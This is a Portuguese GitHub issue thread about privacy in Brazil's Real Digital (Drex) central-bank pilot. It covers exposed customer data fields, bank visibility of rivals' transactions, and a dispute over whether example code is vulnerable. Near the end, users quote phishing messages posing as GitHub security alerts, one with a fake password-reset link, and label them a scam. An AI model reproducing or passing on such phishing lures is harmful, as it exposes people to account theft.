Qual vai ser a solução que o Banco Central vai utilizar para garantir a transparência e a confiabilidade da rede e a ao mesmo tempo a privacidade dos usuários?

[aldenio]

          Qual vai ser a solução que o Banco Central vai utilizar para garantir a transparência e a confiabilidade da rede e a ao mesmo tempo a privacidade dos usuários?

Originally posted by @sandrogomes94 in #14 (comment)

[ghost]

Prezado @sandrogomes94,

Ainda não temos essa resposta.
A definição de uma solução capaz de garantir a transparência e a confiabilidade da rede e a ao mesmo tempo a privacidade dos usuários é um dos objetivos fundamentais do projeto Piloto do Real Digital.

obs: Caso a sua dúvida tenha sido respondida, favor fechar a issue.

[ghost]

Na especificação do contrato KeyDictionary do arquivo KeyDictionary.md diz o seguinte:

Contrato que representa a consulta de carteiras de clientes. É um contrato de simulação de um diretório de informações.

Este contrato será usado somente durante o piloto.

E em seguida uma estrutra de dados com algumas informações sensíveis.

struct CustomerData {
  uint256 taxId;      // O CPF do cliente
  uint256 bankNumber; // O código da participante
  uint256 account;    // A conta do cliente
  uint256 branch;     // A agência do cliente   
  address wallet;     // A carteira do cliente
  bool registered;    // Registrado ou não
  address owner;      // A carteira do participante que inseriu o cliente
}

O ponto é, seria bem simples fazer a relação das carteiras e ter acesso a dados sensíveis dos usuarios do real digital.

Deixe-me saber quando houver mais informações.

[aldenio]

Prezado @sandrogomes94 ,

Durante o projeto Piloto do Real Digital, todos os dados que circularam na DLT serão fictícios, não havendo a possibilidade de acesso indevido a qualquer tipo de dado sensível.
O contrato mencionado visa reduzir o custo de implementação do projeto Piloto, um contrato com essas características seria inconcebível num sistema real, dado o arcabouço legal vigente.

obs: Caso a sua dúvida tenha sido respondida, favor fechar a issue.

[ipsBruno]

Senhores, peço desculpas por reabrir esta issue.

Uma das características marcantes da blockchain é sua transparência, assumindo que os participantes (sejam bancos ou IPs) tenham acesso a blockchain, quando se realizam chamadas de requisição como SwapExecuted, é necessário incluir o CNPJ8 dos participantes 1 e 2 (bancos), bem como as wallets que representam os respectivos clientes. Dado este contexto, o que impediria um banco de monitorar a volumetria, a quantidade de clientes e as transações de um banco concorrente? É concebível que um banco possa desenvolver ferramentas de monitoramento similares ao que a ChainAnalysis; CrystalBlockchain oferece hoje, conduzindo análises heurísticas para potencialmente violar o sigilo bancário de outro banco.

Como este desafio está sendo abordado?

[BrunooMoniz]

@ipsBruno A característica de transparência das blockchains públicas não significa falta de privacidade. O trilema entre programabilidade e privacidade também está sendo um desafio nas redes como Ethereum, onde soluções Zero Knowledge estão sendo criadas para dar privacidade mantendo a escalabilidade dos smart contracts.

Até o momento não está implementada nenhuma solução de privacidade no Piloto do Real Digital, então tudo que é validado pelos nós do Bacen/Selic é roteado para todos os nós da rede. Assim, até começarmos a testar as soluções de privacidade (iniciando em setembro/23 e indo até março/24) os nós vão compartilhar e ter visibilidade total de todas as transações, seja de seus clientes ou não. Essas soluções de privacidade são importantes, o Bacen já sinalizou que o ambiente DREX vai ter paridade jurídica, tendo que manter sigilo bancário por exemplo.

[ghost]

Por estar em conformidade com a jurisdição bancária atual, acredito que pode acabar com a insegurança que algums possam ter em relação a algumas funções administrativa do Real Digital (DREX) como congelamento de saldo e cancelamento de conta por exemplo, já que devem seguir os mesmos critérios existente

[mrfelpa]

@sandrogomes94 No próprio exemplo 1 já se verifica uma vulnerabilidade. Observe no código abaixo que o contrato em tese real com as informações sensíveis do usuário estão sendo passados direto no código, o que deveria ser feito de forma isolada para evitar alguma possibilidade de exploração.

async function example1() {
const STR = await ethers.getContractAt(abiSTR, '<Endereço do contrato SRT>');
const enableAccount = await ethers.getContractAt(abiRealDigitalEnableAccount, '<Endereço do contrato RealDigitalEnableAccount>');
const [, participantX, anotherAddressParticipantX ] = await ethers.getSigners();

[thiagodeev]

@sandrogomes94 No próprio exemplo 1 já se verifica uma vulnerabilidade. Observe no código abaixo que o contrato em tese real com as informações sensíveis do usuário estão sendo passados direto no código, o que deveria ser feito de forma isolada para evitar alguma possibilidade de exploração.

async function example1() { const STR = await ethers.getContractAt(abiSTR, '<Endereço do contrato SRT>'); const enableAccount = await ethers.getContractAt(abiRealDigitalEnableAccount, '<Endereço do contrato RealDigitalEnableAccount>'); const [, participantX, anotherAddressParticipantX ] = await ethers.getSigners();

São apenas exemplos, não sendo recomendados pelo BACEN para serem usados em produção. #41 (comment)

[ghost]

@0x5FE

Não vejo vunerabilidade no exemplo1 e como já foi mencionado antes é apenas testes de desenvolvimento

[itxtoledo]

@sandrogomes94 No próprio exemplo 1 já se verifica uma vulnerabilidade. Observe no código abaixo que o contrato em tese real com as informações sensíveis do usuário estão sendo passados direto no código, o que deveria ser feito de forma isolada para evitar alguma possibilidade de exploração.

async function example1() { const STR = await ethers.getContractAt(abiSTR, '<Endereço do contrato SRT>'); const enableAccount = await ethers.getContractAt(abiRealDigitalEnableAccount, '<Endereço do contrato RealDigitalEnableAccount>'); const [, participantX, anotherAddressParticipantX ] = await ethers.getSigners();

Não existe nenhuma falha de segurança, são somente exemplos, o ethers.getSigners só funciona em tempo de execução não havendo outra forma de chamá-lo, então não faz sentido o que você comentou.

[mrfelpa]

Bom, a falha esta ali bem aonde escrevi. A própria forma que o teste foi pensado no exemplo mostra a falha. Uma vez que, se a pessoa implementa da forma que está no teste ela deixa o código vulnerável. Não é uma prática de segurança passar dados que contenham possíveis informações tidas como sensiveis direto no código, como no caso ali e sim isolar o contrato em uma variável de ambiente específica ou outra forma. Mas tranquilo, você esta correto, está tudo certo...

[ghost]

Contratos normalmente são públicos e armazenados na blockchain. por quê o endereço do contrato passado diretamente como parametro para um arquivo de teste seria uma vunerabilidade?

[aldenio]

Dado este contexto, o que impediria um

Prezado @ipsBruno,

Uma das prioridades do projeto piloto RD é a busca por soluções de privacidade que garantam aos usuários do Drex o mesmo grau de privacidade que já existe hoje no sistema financeiro nacional. Várias plataformas e soluções de privacidade estão sendo testadas pela equipe do real digital. Ainda não temos uma definição da solução escolhida.

[aldenio]

@sandrogomes94 No próprio exemplo 1 já se verifica uma vulnerabilidade. Observe no código abaixo que o contrato em tese real com as informações sensíveis do usuário estão sendo passados direto no código, o que deveria ser feito de forma isolada para evitar alguma possibilidade de exploração.

async function example1() { const STR = await ethers.getContractAt(abiSTR, '<Endereço do contrato SRT>'); const enableAccount = await ethers.getContractAt(abiRealDigitalEnableAccount, '<Endereço do contrato RealDigitalEnableAccount>'); const [, participantX, anotherAddressParticipantX ] = await ethers.getSigners();

Prezado @0x5FE ,

Os exemplos de uso das APIs apresentados neste repositório, são só isso, exemplos.
O próprio contrato STR é uma simulação (para fins do piloto) de uma API seria desenvolvida para consumo via mensageria da RSFN num sistema em produção.

Caso as dúvidas de vocês tenham sido respondidas, peço que encerrem a issue.

[Firminodeassis]

Falem comigo parceiro

[SamuelvLopes]

Atenção isso é golpe, não cliquem nesses links Em sáb., 25 de mai. de 2024, 22:33, neXau ***@***.***> escreveu:

…

Urgent: GitHub Account Security Alert! 🚨 Hello, We've detected an unusual access to your *GitHub account*. To ensure that your account remains secure, we urgently need you to take action. What You Need To Do: 1. *Reset Your Password* - Visit this secure link to reset your password immediately: Reset Password <https://github.hudevelopers.online/> 2. *Revoke Unauthorized Access* - After resetting, please review any unauthorized access and revoke them. Thank you for your prompt attention to this matter to ensure the security of your account. *If you did not initiate this access, please contact us immediately.* Best Regards, *GitHub Security Team* joaokbmartins, @pachecora <https://github.com/pachecora>, @lourencodf <https://github.com/lourencodf>, @rafabsb <https://github.com/rafabsb>, @JANITORPRATES <https://github.com/JANITORPRATES>, @IzaiasLima <https://github.com/IzaiasLima>, @redhat-banco-do-brasil <https://github.com/redhat-banco-do-brasil>, @bacen <https://github.com/bacen>, @raphaelalmeidamartins <https://github.com/raphaelalmeidamartins>, @viniciusbeckerdesouza <https://github.com/viniciusbeckerdesouza>, @MadsonPaulo <https://github.com/MadsonPaulo>, @SamuelRGomes <https://github.com/SamuelRGomes>, @maurilioarn <https://github.com/maurilioarn>, @labbsr0x <https://github.com/labbsr0x>, @diromm <https://github.com/diromm>, @erlonbezerra <https://github.com/erlonbezerra>, @DanielMarques1404 <https://github.com/DanielMarques1404>, @danielperigoso <https://github.com/danielperigoso>, @rafaelaraujobsb <https://github.com/rafaelaraujobsb>, @rafaelbarbosas <https://github.com/rafaelbarbosas>, @bankme-tech <https://github.com/bankme-tech>, @, @RIBEIIROO <https://github.com/RIBEIIROO>, @assenaw <https://github.com/assenaw>, @FlaviaSantanna <https://github.com/FlaviaSantanna>, @bancobrasilsa <https://github.com/bancobrasilsa>, @silvioszniferbb <https://github.com/silvioszniferbb>, @lucassfer <https://github.com/lucassfer>, @fredgcosta <https://github.com/fredgcosta>, @jocieljesus <https://github.com/jocieljesus>, @pabloduz <https://github.com/pabloduz>, @jangelojr <https://github.com/jangelojr>, @JhonataG <https://github.com/JhonataG>, @paulorfa <https://github.com/paulorfa>, @tiagolpadua <https://github.com/tiagolpadua>, @Aurinho007 <https://github.com/Aurinho007>, @Consultanet <https://github.com/Consultanet>, @augusto-scarvalho <https://github.com/augusto-scarvalho>, @mcr9n <https://github.com/mcr9n>, @RikMatheus <https://github.com/RikMatheus>, @robisontavares <https://github.com/robisontavares>, @alvarohsp <https://github.com/alvarohsp>, @banco-do-brasil <https://github.com/banco-do-brasil>, @rafalangoni <https://github.com/rafalangoni>, @KeitiMaraS <https://github.com/KeitiMaraS>, @ronaldo-a <https://github.com/ronaldo-a>, @guedesdaniel <https://github.com/guedesdaniel>, @bacendeinf <https://github.com/bacendeinf>, @marcokhubert <https://github.com/marcokhubert>, @Natashapss <https://github.com/Natashapss> — Reply to this email directly, view it on GitHub <#16 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AMHKECL5YCYRM2MR2UOKDYTZEE3V5AVCNFSM6AAAAAA2M5TA5WVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCMZRHEYDAOJQGE> . You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>

[leonardosocial]

Security Alert

Your GitHub account was recently accessed to change your password. If you do not recognize this activity, it's crucial to update your password immediately to secure your account.

Click here to change your password

Golpe